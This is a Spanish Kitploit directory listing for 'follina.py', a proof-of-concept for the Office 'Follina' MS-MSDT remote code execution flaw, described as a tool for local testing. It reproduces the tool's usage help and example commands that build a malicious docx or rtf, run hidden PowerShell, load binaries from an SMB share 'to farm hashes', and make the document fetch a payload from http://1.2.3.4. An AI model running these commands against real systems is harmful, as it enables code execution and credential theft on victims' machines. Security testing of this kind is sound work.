Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
follina.py — POC para replicar la vulnerabilidad completa 'Follina' de RCE en Office con fines de prueba. | Kitploit
Herramientas/GitHubGitHub/chvancooten/follina.py
Generación de PayloadsExplotaciónPruebas de PenetraciónRed Teaming
GitHubchvancooten/follina.py

follina.py

POC para replicar la vulnerabilidad completa 'Follina' de RCE en Office con fines de prueba.

Ver Repositorio
1.1k248hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

'Follina': RCE n-day en MS-MSDT de Microsoft Office

PoC rápido para replicar la vulnerabilidad RCE 'Follina' de Office con fines de pruebas locales. Al ejecutar el script se generará un archivo de payload clickme.docx (o clickme.rtf) en tu directorio de trabajo actual y se iniciará un servidor web con el archivo de payload (www/exploit.html). Los parámetros del payload y del servidor web son configurables (consulta la ayuda y los ejemplos).

⚠ NO LO USES EN PRODUCCIÓN O TE TACHARÁN DE TONTO

Uso:

root@kitploit:~
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

Ejemplos:

root@kitploit:~
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

Gente genial

Gracias a Kevin Beaumont por su análisis original del problema, a @KevTheHermit por compartir su PoC, y a John Hammond por su trabajo adicional en el análisis de los requisitos del payload. Agradecimientos adicionales a @mkolsek por la plantilla compatible con Office 2019, y a @theluemmel por compartir su versión del payload conmigo.

Descargar herramienta